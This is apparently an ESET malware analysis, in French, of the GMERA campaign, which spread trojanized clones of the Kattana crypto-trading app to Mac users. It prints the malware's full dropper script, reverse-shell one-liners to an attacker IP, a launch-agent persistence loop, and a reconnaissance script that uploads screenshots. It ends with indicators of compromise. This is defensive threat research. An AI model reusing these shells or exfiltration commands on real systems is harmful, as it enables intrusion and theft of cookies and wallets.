Nous avons récemment découvert des sites web distribuant des applications malveillantes pour les échanges de cryptomonnaies sur Mac. Ces logiciels malveillants sont utilisés pour voler des informations telles que des cookies de navigateur, des portefeuilles de cryptomonnaies et des captures d'écran. En analysant les échantillons de logiciels malveillants, nous avons rapidement découvert qu'il s'agissait d'une nouvelle campagne de ce que les chercheurs de Trend Micro ont appelé GMERA, dans une analyse publiée en septembre 2019. Comme dans les campagnes précédentes, le logiciel malveillant se rapporte à un serveur C&C via HTTP et connecte les sessions de terminaux distants à un autre serveur C&C en utilisant une adresse IP codée en dur. Cette fois, cependant, les auteurs du logiciel malveillant ne l'ont pas seulement inclus dans l'application originale et légitim. Ainsi,ils ont également donné un nouveau nom à l'application commerciale Kattana et copié son site web original. Nous avons vu les marques fictives suivantes utilisées dans différentes campagnes : Cointrazer, Cupatrade, Licatrade et Trezarus. En plus de l'analyse du code du logiciel malveillant, les chercheurs d'ESET ont également mis en place des honeypots pour tenter de révéler les motivations de ce groupe de criminels.

Distribution

Nous n'avons pas encore été en mesure de trouver où exactement ces applications cheval de Troie sont promues. Cependant, en mars 2020, Kattana a publié un avertissement suggérant que les victimes étaient approchées individuellement pour les inciter à télécharger une application trojanisée. Nous n'avons pas pu confirmer que cela était lié à cette campagne particulière, mais cela pourrait très bien être le cas.

Figure 1. Kattana mettant en garde contre les copies trojanisées de son logiciel sur Twitter

Des sites web imitateurs ont été mis en place, pour donner l'illusion que le téléchargement d'une application bidon est légitime. Pour une personne qui ne connaît pas Kattana, les sites web semblent légitimes.

Le bouton de téléchargement sur les faux sites est un lien vers une archive ZIP contenant le paquet d'applications trojanisées.

Analyse

Dans ce cas, l'analyse des logiciels malveillants est assez simple. Nous prendrons l'exemple de l'échantillon de Licatrade. Les autres échantillons présentent des différences mineures, mais les idées et les fonctionnalités sont essentiellement les mêmes. Des analyses similaires de campagnes GMERA antérieures sont fournies dans un article de Trend Micro et dans le rapport 2019 d'Objective-See sur les logiciels malveillants touchant  Mac.

Figure 4. Contenu du bundle d'applications de Licatrade

La date de modification des fichiers dans l'archive ZIP, la date de signature de la demande et l'en-tête HTTP Last‑Modified  lorsque nous avons téléchargé l'archive indiquent tous le 15 avril 2020. Tout ceci suggère que cette campagne ait débuté à cette date.

Un script shell (run.sh) est inclus dans les ressources du paquet d'applications. Cet exécutable principal, écrit en Swift, lance run.sh. Pour une raison quelconque, l'auteur du logiciel malveillant a dupliqué la fonctionnalité permettant d'envoyer un simple rapport à un serveur C&C via HTTP, et de se connecter à un hôte distant via TCP fournissant un shell distant aux attaquants, à la fois dans l'exécutable principal et dans le script shell. Une fonctionnalité supplémentaire, dans le script shell uniquement, consiste à mettre en place la persistance en installant un agent de lancement.

Voici la source complète du script shell (ellipses en longue chaîne décrochetées) :

#! /bin/bash

function remove_spec_char(){
	echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}

whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Il est intéressant de noter que la persistance est rompue dans l'échantillon Licatrade : le contenu du fichier Launch Agent (.com.apple.system.plist) qui en résulte n'est pas au format Property List comme le prévoit launchd, mais constitue plutôt la ligne de commande à exécuter.

Le contenu décodé (ellipses dans les longues chaînes de caractères) de la variable $plist_text l'est :

echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'

S'il était exécuté directement, ce code ouvrirait un shell inversé de la machine victime vers un serveur contrôlé par l'attaquant, mais cela échoue ici. Heureusement pour les attaquants, la dernière ligne du script shell lance également un shell inversé vers leur serveur.

L'échantillon Cointrazer, utilisé dans les campagnes antérieures à Licatrade, n’est pas affectée : l'agent de lancement est installé et démarre avec succès lorsque l'utilisateur se connecte.

Les différents shells inversés utilisés par ces opérateurs de logiciels malveillants se connectent à différents ports distants selon la manière dont ils ont été lancés. Toutes les connexions sont non chiffrées. Voici une liste de ports, basée sur l'exemple de Licatrade.

TCP Port Where How
25733 Licatrade executable zsh in screen using ztcp
run.sh bash in screen using /dev/tcp
Launch Agent (Not working) bash in screen using /dev/tcp
25734 Licatrade executable zsh using ztcp
25735 Licatrade executable bash using /dev/tcp
25736 Licatrade executable bash in screen using /dev/tcp
25737 Licatrade executable bash in screen using /dev/tcp
25738 Licatrade executable zsh in screen using ztcp

Voici quelques exemples de lignes de commande utilisées :

  • Bash in screen en utilisant /dev/tcp :

screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'

  • zsh utilisant ztcp :

zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

L'application, rebaptisée Kattana, se trouve également dans les ressources de l'ensemble des applications. Nous voulions voir si, outre le changement de nom et d'icône dans l'application, un autre code avait été modifié. Étant donné que Kattana demande des informations d'identification pour les plateformes de négociation, nous avons vérifié si les champs de saisie de celles-ci avaient été altérés et si les informations d'identification avaient été exfiltrées d'une manière ou d'une autre. Kattana est construit avec Electron, et les applications Electron ont un fichier app.asar, qui est une archive contenant le code JavaScript de l'application. Nous avons vérifié tous les changements entre l'application Kattana originale et l'imitateur malveillant de Licatrade et avons constaté que seules les chaînes de caractères et les images étaient modifiées.

Figure 5. Différence partielle entre Kattana et Licatrade

Licatrade et ses ressources ont toutes été signées à l'aide du même certificat, dont le champ du nom commun est Andrey Novoselov et qui utilise l'identifiant de développement M8WVDT659T. Le certificat a été délivré par Apple le 6 avril 2020. Il a été révoqué le jour même où nous avons informé Apple de cette application malveillante.

Figure 6. Certificat utilisé pour signer Licatrade

Figure 7. Le certificat de Licatrade a été révoqué le 28 mai 2020

Pour chacune des autres campagnes que nous avons analysées, un certificat différent a été utilisé. Tous deux avaient déjà été révoqués par Apple lorsque nous avons commencé nos analyses. Consultez la section IoCs pour plus de détails à ce sujet. Il est intéressant de noter que dans le cas du Cointrazer, il ne s'est écoulé que 15 minutes entre le moment où le certificat a été délivré par Apple et celui où les malfaiteurs ont signé leur application trojanisée. Ceci, et le fait que nous n'ayons rien trouvé d'autre signé avec la même clé, suggère qu'ils ont obtenu le certificat explicitement dans ce but.

Infrastructure

L'application malveillante Licatrade était disponible sur le site web licatrade.com et son domaine de serveur de rapports HTTP C&C est stepbystepby.com. Les deux domaines ont été enregistrés à l'aide de l'adresse électronique levistor777@gmail.com. La recherche d'autres domaines enregistrés avec cette adresse électronique révèle ce qui ressemble à plusieurs campagnes précédentes. Vous trouverez ci-dessous la liste des domaines que nous avons trouvés dans les échantillons ou enregistrés avec cette adresse électronique.

Domain name Registration date Comment
repbaerray.pw 2019-02-25 C&C server for HTTP report of Stockfolio app
macstockfolio.com 2019-03-03 Website distributing the malicious Stockfolio app
latinumtrade.com 2019-07-25 Website distributing the malicious Latinum app
trezarus.com 2019-06-03 Website distributing the malicious Trezarus app
trezarus.net 2019-08-07 #rowspan#
cointrazer.com 2019-08-18 Website distributing the malicious Cointrazer app
apperdenta.com 2019-08-18 Usage unknown
narudina.com 2019-09-23 Usage unknown
nagsrsdfsudinasa.com 2019-10-09 C&C server for HTTP report of Cointrazer app
cupatrade.com 2020-03-28 Website distributing the malicious Cupatrade app
stepbystepby.com 2020-04-07 C&C server for HTTP report of Licatrade app
licatrade.com 2020-04-13 Website distributing the malicious Licatrade app
creditfinelor.com 2020-05-29 Empty page, usage unknown
maccatreck.com 2020-05-29 Some authentication form

Les sites web et les serveurs HTTP C&C recevant le premier rapport de logiciel malveillant sont hébergés sous Cloudflare.

Interactions avec le honeypot

Pour en savoir plus sur les intentions de ce groupe, nous avons mis en place des honeypots, nous permettant d’y surveiller toutes les interactions entre les portes dérobées de la GMERA et les opérateurs de ce logiciel malveillant.

Nous n'avons vu aucune commande C&C émise via le canal du serveur HTTP C&C ; tout s'est passé par les reverse shells. Lors de sa première connexion, le serveur C&C a envoyé un petit script pour recueillir le nom d'utilisateur, la version de macOS et l'emplacement (basé sur l'adresse IP externe) de l'appareil compromis.

#! /bin/bash
function check() {
        if [ ! -f /private/var/tmp/.i ]; then
        write
    else
        if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
                   write
                fi
        fi
}
function write() {
        getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
    echo `whoami` > /private/var/tmp/.i
    echo `sw_vers -productVersion` >> /private/var/tmp/.i
    echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i

 

qui a envoyé quelque chose de ce type aux opérateurs :

jeremy
10.13.4
Bratislava
SK

 

La connexion TCP reste ouverte et attend d'autres commandes. Dans notre cas, après un certain temps, les opérateurs ont inspecté manuellement la machine. Dans plusieurs de nos honeypots, les commandes utilisées pour effectuer cette inspection variaient. Une partie de l'inspection consistait simplement à répertorier les fichiers dans le système de fichiers. Parfois, ils copiaient et collaient un script codé en base64 conçu pour lister les informations afin de révéler si le système est un honeypot ou s'il est réellement intéressant. Le script est décodé, puis transmis à bash.

Figure 8. Capture de paquets de l'opérateur, envoyant le script de reconnaissance secondaire codé en base64

Voici le script décodé :

echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io

 

Ce script est en fait très similaire au fichier du plugin trouvé dans l'un des échantillons du Stockfolio analysé l'année dernière. Cependant, lors des campagnes les plus récentes, ils ont choisi d'envoyer le script de reconnaissance sur le réseau uniquement aux victimes intéressantes. Il a également été mis à jour pour inclure quelques informations supplémentaires.

Figure 9. Résultats du rapport qui seraient visibles sur le terminal d'un opérateur (reconstitué à partir de la capture de paquets)

Nous allons passer en revue chaque section du script ci-dessous :

  • Il reçoit le rapport complet sur la propriété intellectuelle externe de ipinfo.io
  • Il vérifie le modèle de Mac en utilisant les 4 derniers chiffres du numéro de série du Mac et un service HTTP fourni par Apple pour le traduire en un nom convivial tel que "MacBook Pro (Retina, 15 pouces, fin 2013)". Les machines virtuelles ont probablement des numéros de série non valides et peuvent ne pas afficher un modèle ici.
  • Il affiche la version de macOS installée. Il y a un assez gros rouge (utilisant la séquence d'échappement ANSI), toutes les majuscules avertissant lorsque l'ordinateur exécute macOS Catalina (10.15). Nous pensons comprendre pourquoi et nous en parlerons plus tard.
  • Il vérifie quand macOS a été installé en utilisant le temps de modification du /var/db/.AppleSetupDone.
  • Il affiche l'utilisation du disque et les détails des moniteurs connectés.
  • Il répertorie les réseaux Wi-Fi disponibles. Les honeypots sont susceptibles d'avoir le Wi-Fi désactivé.
  • Il détecte si l'ordinateur est une machine virtuelle VMware, Parallels ou VirtualBox en examinant les chaînes de fournisseurs des périphériques connectés.
  • Il vérifie si des éditeurs de texte ou des applications IDE courantes sont installés et avertit les opérateurs de "Be Carefull" (sic) car cette victime pourrait être plus calée en informatique que d'habitude.
  • Il obtient les 20 premières commandes (c'est-à-dire les plus anciennes) de l’historique du fichier bash.
  • Enfin, elle prend une capture d'écran, la redimensionne et la télécharge dans le fichier .io. Il vérifie au préalable si le système exécute MacOS Catalina, mais une erreur dans le script rend cette vérification inutile. L'opérateur de contrôle "&", qui lance les commandes en parallèle, est utilisé à la place de l'opérateur logique ET ("&&"). Cela signifie que la capture d'écran est effectuée quelle que soit la version de macOS.

Le fait qu'une capture d'écran ne doit pas être effectuée sur Catalina et qu'un signe d'avertissement évident sera affiché sur le terminal de l'opérateur nous a fait nous demander pourquoi ils agissent différemment sur la version actuelle de macOS. Il s'avère que Catalina a ajouté une fonction où l'enregistrement de l'écran ou la prise d'une capture d'écran doit être approuvée par l'utilisateur pour chaque application. Nous avons testé la possibilité de faire une capture d'écran à partir du shell inversé sur Catalina et nous avons obtenu l'avertissement suivant dans notre sandbox, ce qui est plutôt suspect étant donné qu'une application commerciale n'a pas à le faire.

Figure 10. Avertissement de macOS Catalina si les opérateurs essaient de faire une capture d'écran

Si un système compromis est considéré comme intéressant, la phase d'exfiltration commence. Les fichiers intéressants sont compressés dans une archive ZIP et téléchargés via HTTP vers un autre serveur, également sous le contrôle des attaquants.

Figure 11. Capture de paquets d'un opérateur utilisant le shell inverse pour exfiltrer les cookies de navigation

Il est amusant de noter ici que le fichier /tmp/h.zip n'existait pas. Peut-être ont-ils copié et collé une commande qui a été utilisée pour une autre victime.

Sur la base de l'activité dont nous avons été témoins, nous concluons que voici certains des intérêts des opérateurs de ce logiciel malveillant  :

  • Informations sur le navigateur (cookies, historique)
  • Portefeuilles de cryptomonnaie
  • Captures d'écran.

Conclusion

Les nombreuses campagnes menées par ce groupe montrent combien d'efforts ils ont déployés au cours de l'année dernière pour compromettre les utilisateurs de Mac qui font du commerce en ligne. Nous ne savons toujours pas comment quelqu'un devient une victime, en téléchargeant une des applications troyennes, mais l'hypothèse des opérateurs contactant directement leurs cibles et les manipulant socialement pour installer l'application malveillante semble la plus plausible.

Il est intéressant de noter que le fonctionnement du logiciel malveillant est plus limité sur la version la plus récente de MacOS. Nous n'avons pas vu les opérateurs essayer de contourner la limitation concernant les captures d'écran. En outre, nous pensons que la seule façon dont ils pourraient voir l'écran de l'ordinateur sur les machines victimes exécutant Catalina serait d'exfiltrer les captures d'écran existantes prises par la victime. Il s'agit d'un bon exemple concret de mise en œuvre de mesures d'atténuation dans le système d'exploitation qui a permis de limiter les activités des malfaiteurs.

Indicateurs de compromission (IoCs)

Échantillons

SHA-1 Filename ESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B Licatrade.zip multiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FA Licatrade.app/Contents/Resources/run.sh OSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CE Licatrade.app/Contents/MacOS/Licatrade OSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229 Cointrazer.zip multiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 Cointrazer.app/Contents/Resources/nytyntrun.sh OSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 Cointrazer.app/Contents/MacOS/Cointrazer OSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46 Stockfolio.zip multiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2C Stockfolio.app/Contents/MacOS/Stockfoli OSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023 Stockfolio.app/Contents/Resources/run.sh OSX/Agent.AZ

Certificat Code signing

App name Fingerprint (SHA-1) Developer identity Valid from App signed on Revoked on
Stockfolio E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF Levis Toretto (9T4J9V8NV5) 2018-11-25 2019-04-18 2019-07-26
Cointrazer 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 Andrei Sobolev (A265HSB92F) 2019-10-17 2019-10-17 2020-04-16
Licatrade BDBD92BFF8E349452B07E5F1D2883678658404A3 Andrey Novoselov (M8WVDT659T) 2020-04-06 2020-04-15 2020-05-28

Réseau

Noms de domaine

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Adresses IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicateurs basés sur l'hôte

Chemin d'accès

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Étiquettes Launch Agent

• com.apple.apps.upd
• com.apples.apps.upd

Techniques MITRE ATT&CK

Tactic ID Name Description
Execution T1204 User Execution Victim needs to run the malicious application to be compromised.
T1059 Command-Line Interface GMERA provides reverse bash and zsh shells to its operators.
Persistence T1159 Launch Agent GMERA installs a Launch Agent to maintain persistence.
Defense Evasion T1116 Code Signing All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential Access T1139 Bash History A GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539 Steal Web Session Cookie GMERA’s operators steal browser cookies via a reverse shell.
Discovery T1083 File and Directory Discovery GMERA’s operators list files on the target system via a reverse shell and ls .
T1497 Virtualization/Sandbox Evasion A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040 Network Sniffing A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082 System Information Discovery A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518 Software Discovery A GMERA reconnaissance script checks whether developer tools are installed.
Collection T1005 Data from Local System GMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113 Screen Capture GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and Control T1043 Commonly Used Port Initial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065 Uncommonly Used Port GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
Exfiltration T1048 Exfiltration Over Alternative Protocol GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.